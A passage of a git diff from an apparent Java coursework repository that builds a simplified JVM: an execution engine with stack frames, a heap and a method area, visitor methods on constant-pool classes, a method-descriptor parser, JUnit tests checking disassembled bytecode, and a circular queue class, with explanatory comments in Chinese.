+	public void accept(Visitor visitor) {
+		visitor.visitNameAndType(this);
+		
+	}
+}
\ No newline at end of file
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/constant/NullConstantInfo.java b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/NullConstantInfo.java
index 936736016f..7782d6e61b 100644
--- a/group06/1378560653/mini-jvm/com/coderising/jvm/constant/NullConstantInfo.java
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/NullConstantInfo.java
@@ -9,5 +9,9 @@ public NullConstantInfo(){
 	public int getType() {		
 		return -1;
 	}
+	@Override
+	public void accept(Visitor visitor) {
+				
+	}
 	
-}
+}
\ No newline at end of file
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/constant/StringInfo.java b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/StringInfo.java
index f1f8eb4ed4..f28a5502c5 100644
--- a/group06/1378560653/mini-jvm/com/coderising/jvm/constant/StringInfo.java
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/StringInfo.java
@@ -22,5 +22,11 @@ public void setIndex(int index) {
 	public String toString(){
 		return this.getConstantPool().getUTF8String(index);
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitString(this);
+		
+	}
 	
-}
+}
\ No newline at end of file
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/constant/UTF8Info.java b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/UTF8Info.java
index 5cac9f04f7..0bae70ca3c 100644
--- a/group06/1378560653/mini-jvm/com/coderising/jvm/constant/UTF8Info.java
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/UTF8Info.java
@@ -26,7 +26,12 @@ public String getValue() {
 	public void setValue(String value) {
 		this.value = value;
 	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visistUTF8(this);
+		
+	}
 	
 	
 
-}
+}
\ No newline at end of file
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/engine/ExecutionResult.java b/group06/1378560653/mini-jvm/com/coderising/jvm/engine/ExecutionResult.java
new file mode 100644
index 0000000000..4a6da2b702
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/engine/ExecutionResult.java
@@ -0,0 +1,55 @@
+package com.coderising.jvm.engine;
+
+import com.coderising.jvm.method.Method;
+
+public class ExecutionResult {
+	public static final int RUN_NEXT_CMD = 1;
+	public static final int JUMP = 2;
+	public static final int EXIT_CURRENT_FRAME = 3;
+	public static final int PAUSE_AND_RUN_NEW_FRAME = 4;
+	
+	private int nextAction = RUN_NEXT_CMD; 
+	
+	private int nextCmdOffset = 0;
+	
+	private Method nextMethod;
+	
+	public Method getNextMethod() {
+		return nextMethod;
+	}
+	public void setNextMethod(Method nextMethod) {
+		this.nextMethod = nextMethod;
+	}
+
+	
+	public void setNextAction(int action){
+		this.nextAction = action;
+	}
+	public boolean isPauseAndRunNewFrame(){
+		return this.nextAction == PAUSE_AND_RUN_NEW_FRAME;
+	}
+	public boolean isExitCurrentFrame(){
+		return this.nextAction == EXIT_CURRENT_FRAME;
+	}
+	
+	public boolean isRunNextCmd(){
+		return this.nextAction == RUN_NEXT_CMD;
+	}
+	
+	public boolean isJump(){
+		return this.nextAction == JUMP;
+	}
+	
+	public int getNextCmdOffset() {
+		return nextCmdOffset;
+	}
+
+	public void setNextCmdOffset(int nextCmdOffset) {
+		this.nextCmdOffset = nextCmdOffset;
+	}
+	
+	
+	
+	
+
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/engine/ExecutorEngine.java b/group06/1378560653/mini-jvm/com/coderising/jvm/engine/ExecutorEngine.java
new file mode 100644
index 0000000000..a565b461ad
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/engine/ExecutorEngine.java
@@ -0,0 +1,80 @@
+package com.coderising.jvm.engine;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import com.coderising.jvm.method.Method;
+
+public class ExecutorEngine {
+
+	private Stack<StackFrame> stack = new Stack<StackFrame>();
+	
+	public ExecutorEngine() {
+		
+	}
+	
+	public void execute(Method mainMethod){
+		
+		StackFrame mainFrame = StackFrame.create(mainMethod);
+		stack.push(mainFrame);
+		
+		while(!stack.empty()){
+			
+			StackFrame frame = stack.peek();			
+			
+			ExecutionResult result = frame.execute();
+			
+			if(result.isPauseAndRunNewFrame()){
+				
+				Method nextMethod = result.getNextMethod();
+				StackFrame nextFrame = StackFrame.create(nextMethod);
+				nextFrame.setCallerFrame(frame);				
+				setupFunctionCallParams(frame,nextFrame);
+				
+				stack.push(nextFrame);
+				
+			} else {
+				
+				stack.pop();
+				
+			}
+		}
+		
+	}
+	
+	private void setupFunctionCallParams(StackFrame currentFrame,StackFrame nextFrame) {
+		
+		Method nextMethod = nextFrame.getMethod();
+		
+		
+		List<String> paramList = nextMethod.getParameterList();
+		
+		/*
+		 * 把当前函数栈帧中的变量传递下一个函数栈帧局部变量表,相当于设置下一个函数栈帧的局部变量表，这个局部变量表的顺序相当于将栈右倒。
+		 * 加上1 是因为要把this也传递过去
+		 * init(name,age)->init(object(this),name,age)
+		 */
+		int paramNum = paramList.size() + 1;
+		
+		
+		List<JavaObject> values = new ArrayList<JavaObject>();
+		
+		//数据结构知识：  从栈中取出栈顶的x个元素
+		while(paramNum>0){			
+			values.add(currentFrame.getOprandStack().pop());
+			paramNum --;
+		}
+		//数据结构知识：  把一个列表倒序排列
+		List<JavaObject> params = new ArrayList<JavaObject>();
+		
+		for(int i=values.size()-1; i>=0 ;i--){
+			params.add(values.get(i));
+		}
+		
+		
+		nextFrame.setLocalVariableTable(params);
+		
+	}
+	
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/engine/Heap.java b/group06/1378560653/mini-jvm/com/coderising/jvm/engine/Heap.java
new file mode 100644
index 0000000000..82ad210cef
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/engine/Heap.java
@@ -0,0 +1,39 @@
+package com.coderising.jvm.engine;
+
+public class Heap {
+	
+	/**
+	 * 没有实现垃圾回收， 所以对于下面新创建的对象， 并没有记录到一个数据结构当中
+	 */
+	
+	private static Heap instance = new Heap();
+	private Heap() {		
+	}
+	public static Heap getInstance(){
+		return instance;
+	}
+	public JavaObject newObject(String clzName){
+		
+		JavaObject jo = new JavaObject(JavaObject.OBJECT);
+		jo.setClassName(clzName);
+		return jo;
+	}
+	
+	public JavaObject newString(String value){
+		JavaObject jo = new JavaObject(JavaObject.STRING);
+		jo.setStringValue(value);
+		return jo;
+	}
+	
+	public JavaObject newFloat(float value){
+		JavaObject jo = new JavaObject(JavaObject.FLOAT);
+		jo.setFloatValue(value);
+		return jo;
+	}
+	public JavaObject newInt(int value){
+		JavaObject jo = new JavaObject(JavaObject.INT);
+		jo.setIntValue(value);
+		return jo;
+	}
+
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/engine/JavaObject.java b/group06/1378560653/mini-jvm/com/coderising/jvm/engine/JavaObject.java
new file mode 100644
index 0000000000..71ba382d9a
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/engine/JavaObject.java
@@ -0,0 +1,71 @@
+package com.coderising.jvm.engine;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class JavaObject {
+	public static final int OBJECT = 1;
+	public static final int STRING = 2;
+	public static final int INT = 3;
+	public static final int FLOAT = 4;
+	
+	int type;
+	private String className;
+	
+	private Map<String, JavaObject> fieldValues = new HashMap<String,JavaObject>();
+	
+	private String stringValue;
+	
+	private int intValue;
+	
+	private float floatValue;
+	
+	public void setFieldValue(String fieldName, JavaObject fieldValue){
+		fieldValues.put(fieldName, fieldValue);
+	}
+	public JavaObject(int type){
+		this.type = type;
+	}
+	public void setClassName(String className){
+		this.className = className;
+	}
+	public void setStringValue(String value){
+		stringValue = value;
+	}
+	public String getStringValue(){
+		return this.stringValue;
+	}
+	public void setIntValue(int value) {
+		this.intValue = value;		
+	}
+	public int getIntValue(){
+		return this.intValue;
+	}
+	public int getType(){
+		return type;
+	}
+	public JavaObject getFieldValue(String fieldName){
+		return this.fieldValues.get(fieldName);
+	}
+	public String toString(){
+		switch(this.getType()){
+		case INT: 
+			return String.valueOf(this.intValue);
+		case STRING:
+			return this.stringValue;
+		case OBJECT:
+			return this.className +":"+ this.fieldValues;
+		case FLOAT :
+			return String.valueOf(this.floatValue);
+		default:
+			return null;
+		}
+	}
+	public String getClassName(){
+		return this.className;
+	}
+	public void setFloatValue(float value) {
+		this.floatValue = value;		
+	}
+
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/engine/MethodArea.java b/group06/1378560653/mini-jvm/com/coderising/jvm/engine/MethodArea.java
new file mode 100644
index 0000000000..42c90f5cfe
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/engine/MethodArea.java
@@ -0,0 +1,90 @@
+package com.coderising.jvm.engine;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
+
+public class MethodArea {
+	
+	public static final MethodArea instance = new MethodArea();
+	
+	/**
+	 * 注意：我们做了极大的简化， ClassLoader 只有一个， 实际JVM中的ClassLoader,是一个双亲委托的模型
+	 * 方法区：
+	 * 1.存储类的数据，如字符串常量，数字常量，字段引用，方法引用，类引用及名称和类型
+	 * 2.存储方法字节码
+	 * 
+	 * 加载类到方法区:
+	 * 将classloader加载到MethodArea
+	 */
+	
+	private ClassFileLoader clzLoader = null;
+	
+	Map<String,ClassFile> map = new HashMap<String,ClassFile>(); //HashMap<className,classFile>
+	
+	private MethodArea(){		
+	}
+	
+	public static MethodArea getInstance(){
+		return instance;
+	}
+	
+	public void setClassFileLoader(ClassFileLoader clzLoader){
+		this.clzLoader = clzLoader;
+	}
+	
+	public Method getMainMethod(String className){
+		
+		ClassFile clzFile = this.findClassFile(className);
+		
+		return clzFile.getMainMethod();
+	}
+	
+	
+	public  ClassFile findClassFile(String className){
+		
+		//非常简化的实现，类装载器可以是多个，这里简化实现
+		if(map.get(className) != null){
+			return map.get(className);
+		}
+		// 看来该class 文件还没有load过
+		ClassFile clzFile = this.clzLoader.loadClass(className);
+		
+		map.put(className, clzFile);
+		
+		return clzFile;
+		
+	}
+	
+	
+	public Method getMethod(String className, String methodName, String paramAndReturnType){
+		ClassFile clz = this.findClassFile(className);
+		Method m = clz.getMethod(methodName, paramAndReturnType);
+		
+		if(m == null){
+			throw new RuntimeException("method can't be found : \n" 
+					+ "class: " + className
+					+ "method: " + methodName
+					+ "paramAndReturnType: " + paramAndReturnType);
+		}
+		return m;
+	}
+	
+	
+	public Method getMethod(MethodRefInfo methodRef){		
+		ClassFile clz = this.findClassFile(methodRef.getClassName());
+		
+		Method m = clz.getMethod(methodRef.getMethodName(), methodRef.getParamAndReturnType());
+		
+		if(m == null){
+			throw new RuntimeException("method can't be found : " + methodRef.toString());
+		}
+		
+		return m;
+			
+	}
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/engine/MiniJVM.java b/group06/1378560653/mini-jvm/com/coderising/jvm/engine/MiniJVM.java
new file mode 100644
index 0000000000..e4571306cd
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/engine/MiniJVM.java
@@ -0,0 +1,48 @@
+package com.coderising.jvm.engine;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
+
+
+public class MiniJVM {
+	
+	public void run(String[]classPaths , String className) throws FileNotFoundException, IOException{
+		/*
+		 * 一.模拟Java命令的输入：
+		 * 1.加载：classpath
+		 * 2.找到：classname，系统需要找到这个类的main方法，执行其字节码
+		 * 
+		 * 二.执行过程：
+		 * 1.加载类，将类加载到方法区
+		 * -工具：ClassFileLoader
+		 * -目的地：方法区（MethodArea）
+		 * --1.存储类的数据，如字符串常量，数字常量，字段引用，方法引用，类引用及名称和类型
+		 * --2.存储方法字节码
+		 * 2.获取类的main方法
+		 * -从方法区找
+		 * 3.执行main方法的字节码
+		 * -字节码命令（Command命令）
+		 * -栈帧（StackFrame）：Command对象要访问栈帧中的操作数栈，局部变量表
+		 * -堆（Heap）：存放对象
+		 * 
+		 */
+		ClassFileLoader loader = new ClassFileLoader();
+		for(int i = 0; i<classPaths.length; i++){
+			loader.addClassPath(classPaths[i]);
+		}
+		
+		MethodArea methodArea = MethodArea.getInstance();//单例模式
+		
+		methodArea.setClassFileLoader(loader);//将类加载到方法区
+		
+		ExecutorEngine engine = new ExecutorEngine();
+		
+		className = className.replace(".", "/");
+		
+		engine.execute(methodArea.getMainMethod(className));
+	}
+	
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/engine/StackFrame.java b/group06/1378560653/mini-jvm/com/coderising/jvm/engine/StackFrame.java
new file mode 100644
index 0000000000..b99a9ac357
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/engine/StackFrame.java
@@ -0,0 +1,127 @@
+package com.coderising.jvm.engine;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.method.Method;
+
+public class StackFrame {
+	/*
+	 * 函数栈帧：
+	 * 1.操作数栈
+	 * 2.局部变量表
+	 * 3.返回值
+	 * 4.常量池引用
+	 */
+	private List<JavaObject> localVariableTable = new ArrayList<JavaObject>();
+	private Stack<JavaObject> oprandStack = new Stack<JavaObject>();
+	
+	int index = 0;
+	
+	private Method m = null;
+	
+	private StackFrame callerFrame = null;
+	
+	public StackFrame getCallerFrame() {
+		return callerFrame;
+	}
+
+	public void setCallerFrame(StackFrame callerFrame) {
+		this.callerFrame = callerFrame;
+	}
+
+	public static  StackFrame create(Method m){
+		
+		StackFrame frame = new StackFrame( m );			
+		
+		return frame;
+	}
+
+	
+	private StackFrame(Method m) {		
+		this.m = m;
+		
+	}
+	
+	
+	
+	public JavaObject getLocalVariableValue(int index){
+		return this.localVariableTable.get(index);
+	}
+	
+	public Stack<JavaObject> getOprandStack(){
+		return this.oprandStack;
+	}
+	
+	public int getNextCommandIndex(int offset){
+		
+		ByteCodeCommand[] cmds = m.getCodeAttr().getCmds();
+		for(int i=0;i<cmds.length; i++){
+			if(cmds[i].getOffset() == offset){
+				return i;
+			}
+		}
+		throw new RuntimeException("Can't find next command");
+	}
+	
+	public ExecutionResult execute(){
+		ByteCodeCommand[] cmds = m.getCmds();
+		
+		while(index < cmds.length){
+			ExecutionResult result = new ExecutionResult();
+			//缺省值是执行下一条命令
+			result.setNextAction(ExecutionResult.RUN_NEXT_CMD);
+			
+			System.out.println(cmds[index].toString());
+			
+			cmds[index].execute(this, result);
+			
+			if(result.isRunNextCmd()){
+				index++;
+			} else if(result.isExitCurrentFrame()){
+				return result;
+			} else if (result.isPauseAndRunNewFrame()){
+				index++;
+				return result;
+			} else if (result.isJump()){
+				int offset = result.getNextCmdOffset();
+				this.index = getNextCommandIndex(offset);
+			} else {
+				index++;
+			}
+		}
+		
+		//当前StackFrmae的指令全部执行完毕，可以退出了
+		ExecutionResult result = new ExecutionResult();
+		result.setNextAction(ExecutionResult.EXIT_CURRENT_FRAME);
+		return result;
+		
+	}
+
+	
+	
+	
+	public void setLocalVariableTable(List<JavaObject> values){
+		this.localVariableTable = values;	
+	}
+	
+	public void setLocalVariableValue(int index, JavaObject jo){
+		//问题： 为什么要这么做？？
+		if(this.localVariableTable.size()-1 < index){
+			for(int i=this.localVariableTable.size(); i<=index; i++){
+				this.localVariableTable.add(null);
+			}
+		}
+		this.localVariableTable.set(index, jo);
+		
+		
+	}
+	
+	public Method getMethod(){
+		return m;
+	}
+	
+
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/loader/ClassFileLoader.java b/group06/1378560653/mini-jvm/com/coderising/jvm/loader/ClassFileLoader.java
index 91b1068989..c75ee71a19 100644
--- a/group06/1378560653/mini-jvm/com/coderising/jvm/loader/ClassFileLoader.java
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/loader/ClassFileLoader.java
@@ -15,11 +15,14 @@
 
 
 public class ClassFileLoader {
-	/*
+	/* 
 	 * 1.加载文件路径
 	 * 2.加载.class文件
+	 * - clzFileName = classPath + "/" + className(.class文件)
 	 * 3.将.class文件转换为字节数组
+	 * - clzFileName->byte[] codes
 	 * 4.解析.class字节数组
+	 * - paser(codes)
 	 */
 	private List<String> clzPaths = new ArrayList<String>();
 	
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/method/Method.java b/group06/1378560653/mini-jvm/com/coderising/jvm/method/Method.java
index f08312b396..1b9ff1260d 100644
--- a/group06/1378560653/mini-jvm/com/coderising/jvm/method/Method.java
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/method/Method.java
@@ -1,6 +1,11 @@
 package com.coderising.jvm.method;
 
 import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+
+import java.util.ArrayList;
+import java.util.List;
+
 import com.coderising.jvm.attr.AttributeInfo;
 import com.coderising.jvm.attr.CodeAttr;
 import com.coderising.jvm.constant.ConstantPool;
@@ -19,6 +24,7 @@ public class Method {
 	
 	private ClassFile clzFile;
 	
+	
 	public ClassFile getClzFile() {
 		return clzFile;
 	}
@@ -37,6 +43,8 @@ public CodeAttr getCodeAttr() {
 	public void setCodeAttr(CodeAttr code) {
 		this.codeAttr = code;
 	}
+	
+	
 
 	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
 		this.clzFile = clzFile;
@@ -45,14 +53,18 @@ public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorInd
 		this.descriptorIndex = descriptorIndex;
 	}
 
+	
+	
+	
+	
 	public String toString() {
 		
 		ConstantPool pool = this.clzFile.getConstantPool();
 		StringBuilder buffer = new StringBuilder();
 		
-		String name = pool.getUTF8String(nameIndex);
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
 		
-		String desc = pool.getUTF8String(descriptorIndex);
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
 		
 		buffer.append(name).append(":").append(desc).append("\n");
 		
@@ -67,6 +79,7 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 		int descIndex = iter.nextU2ToInt();
 		int attribCount = iter.nextU2ToInt();
 		
+		
 		Method m = new Method(clzFile, accessFlag, nameIndex, descIndex);
 		
 		for( int j=1; j<= attribCount; j++){
@@ -87,4 +100,67 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 		return m ;
 		
 	}
-}
+
+	public ByteCodeCommand[] getCmds() {		
+		return this.getCodeAttr().getCmds();
+	}
+	
+	private String getParamAndReturnType(){
+		UTF8Info  nameAndTypeInfo = (UTF8Info)this.getClzFile()
+				.getConstantPool().getConstantInfo(this.getDescriptorIndex());
+		return nameAndTypeInfo.getValue();
+	}
+	public List<String> getParameterList(){
+				
+		// e.g. (Ljava/util/List;Ljava/lang/String;II)V
+		String paramAndType = getParamAndReturnType();
+		
+		int first = paramAndType.indexOf("(");
+		int last = paramAndType.lastIndexOf(")");
+		// e.g. Ljava/util/List;Ljava/lang/String;II
+		String param = paramAndType.substring(first+1, last);		
+		
+		List<String> paramList = new ArrayList<String>();
+		
+		if((null == param) || "".equals(param)){
+			return paramList;
+		}
+		
+		while(!param.equals("")){
+			
+			int pos = 0;
+			// 这是一个对象类型
+			if(param.charAt(pos) == 'L'){
+				
+				int end = param.indexOf(";");
+				
+				if(end == -1){
+					throw new RuntimeException("can't find the ; for a object type");
+				}
+				paramList.add(param.substring(pos+1,end));
+				
+				pos = end + 1; 				
+				
+			} 
+			else if(param.charAt(pos) == 'I'){
+				// int
+				paramList.add("I");
+				pos ++;
+				
+			}
+			else if(param.charAt(pos) == 'F'){
+				// float
+				paramList.add("F");
+				pos ++;
+				
+			} else{
+				throw new RuntimeException("the param has unsupported type:" + param);
+			}
+			
+			param = param.substring(pos);
+			
+		}
+		return paramList;
+		
+	}
+}
\ No newline at end of file
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/print/ClassFilePrinter.java b/group06/1378560653/mini-jvm/com/coderising/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..ec15d5a2e7
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,46 @@
+package com.coderising.jvm.print;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+	ClassFile clzFile = null;
+	public ClassFilePrinter(ClassFile clzFile){
+		this.clzFile = clzFile;
+	}
+	
+	public void print(){
+		
+		if(clzFile.getAccessFlag().isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ clzFile.getClassName());
+		
+		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
+		
+		System.out.println("minor version:" + clzFile.getMinorVersion());
+		
+		System.out.println("major version:" + clzFile.getMinorVersion());
+		
+		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+		cnstPoolPrinter.print();
+		
+		
+		
+		
+	}
+	
+	public static void main(String[] args){
+		String path = "H:\\github\\coding2017\\group06\\1378560653\\bin";
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		ClassFile clzFile = loader.loadClass(className);
+		
+		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
+		
+		printer.print();
+	}
+}
+
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/print/ConstantPoolPrinter.java b/group06/1378560653/mini-jvm/com/coderising/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..028161adc7
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.print;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+public class ConstantPoolPrinter {
+	ConstantPool pool;
+	ConstantPoolPrinter(ConstantPool pool){
+		this.pool = pool;
+	}
+	public void print(){
+		
+		System.out.println("Constant Pool:");
+		
+		
+		
+		
+	}
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java b/group06/1378560653/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java
index a43d684af8..01052e6d21 100644
--- a/group06/1378560653/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -9,6 +9,10 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.cmd.BiPushCmd;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.OneOperandCmd;
+import com.coderising.jvm.cmd.TwoOperandCmd;
 import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.MethodRefInfo;
@@ -201,7 +205,7 @@ public void testClassIndex(){
     }
     
     /**
-     * 下面是第三次JVM课应实现的测试用例
+     * 第三次JVM课应实现的测试用例
      */
     @Test
     public void testReadFields(){
@@ -271,7 +275,84 @@ private void assertMethodEquals(ConstantPool pool,Method m , String expectedName
 		Assert.assertEquals(expectedDesc, methodDesc);
 		Assert.assertEquals(expectedCode, code);
     }
-   	
+    
+    /**
+     * 第四次JVM课应实现的测试用例
+     */
+    @Test
+    public void testByteCodeCommand(){
+    	{
+	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+	    	ByteCodeCommand [] cmds = initMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+	    	assertOpCodeEquals("4: aload_0", cmds[2]);
+	    	assertOpCodeEquals("5: aload_1", cmds[3]);
+	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
+	    	assertOpCodeEquals("9: aload_0", cmds[5]);
+	    	assertOpCodeEquals("10: iload_2", cmds[6]);
+	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
+	    	assertOpCodeEquals("14: return", cmds[8]);
+    	}
+    	
+    	{
+	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: aload_1", cmds[1]);
+	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
+	    	assertOpCodeEquals("5: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
+	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
+	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+	    	assertOpCodeEquals("8: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method mainMethod = this.clzFile.getMainMethod();
+	    	
+	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: new #1", cmds[0]);
+	    	assertOpCodeEquals("3: dup", cmds[1]);
+	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
+	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
+	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+	    	assertOpCodeEquals("11: astore_1", cmds[5]);
+	    	assertOpCodeEquals("12: aload_1", cmds[6]);
+	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+	    	assertOpCodeEquals("16: return", cmds[8]);
+    	}
+    	
+    }
+   
+    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+    	
+    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+    	
+    	if(cmd instanceof OneOperandCmd){
+    		if(cmd instanceof BiPushCmd){
+    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
+    		} else{
+    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+    		}
+    	}
+    	if(cmd instanceof TwoOperandCmd){
+    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+    	}
+    	Assert.assertEquals(expected, acctual);
+    }
+
 
 }
 
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/test/MiniJVMTest.java b/group06/1378560653/mini-jvm/com/coderising/jvm/test/MiniJVMTest.java
new file mode 100644
index 0000000000..69f5f7b80d
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/test/MiniJVMTest.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.engine.MiniJVM;
+
+public class MiniJVMTest {
+	
+	static final String PATH = "H:\\github\\coding2017\\group06\\1378560653\\bin";
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testMain() throws Exception{
+
+		String[] classPaths = {PATH};
+		MiniJVM jvm = new MiniJVM();
+		jvm.run(classPaths, "com.coderising.jvm.test.EmployeeV1");
+		
+	}
+
+}
diff --git a/group06/1378560653/src/com/coding/basic/Queue.java b/group06/1378560653/src/com/coding/basic/Queue.java
deleted file mode 100644
index 7a82835913..0000000000
--- a/group06/1378560653/src/com/coding/basic/Queue.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package com.coding.basic;
-
-import com.coding.basic.linklist.LinkedList;
-
-public class Queue {
-	private LinkedList linkedlist = new LinkedList();
-	
-	public void enQueue(Object o){
-		linkedlist.add(o);
-	}
-	
-	public Object deQueue(){
-		if(!isEmpty()){
-			return linkedlist.get(0);
-		}else{
-			return null;
-		}
-	}
-	
-	public boolean isEmpty(){
-		if(size() > 0){
-			return false;
-		}else{
-			return true;
-		}
-	}
-	
-	public int size(){
-		return linkedlist.size();
-	}
-}
diff --git a/group06/1378560653/src/com/coding/basic/queue/CircleQueue.java b/group06/1378560653/src/com/coding/basic/queue/CircleQueue.java
new file mode 100644
index 0000000000..f653816872
--- /dev/null
+++ b/group06/1378560653/src/com/coding/basic/queue/CircleQueue.java
@@ -0,0 +1,49 @@
+package com.coding.basic.queue;
+
+import java.util.NoSuchElementException;
+
+/**
+ * 用数组实现循环队列
+ * @author kai
+ *
+ * @param <E>
+ */
+public class CircleQueue <E> {
+	
+	private final static int DEFAULT_SIZE = 10;
+	
+	//用数组来保存循环队列的元素
+	private Object[] elementData = new Object[DEFAULT_SIZE] ;
+	
+	//队头
+	private int front = 0;  
+	//队尾  
+	private int rear = 0;
+	
+	public boolean isEmpty() {
+		return front == rear;
+        
+    }
+
+    public int size() {
+        return (rear - front + DEFAULT_SIZE) % DEFAULT_SIZE;
+    }
+
+    public void enQueue(E data) {
+        if((rear+1) % DEFAULT_SIZE == front){
+        	throw new IndexOutOfBoundsException("Queue overflow");
+        }
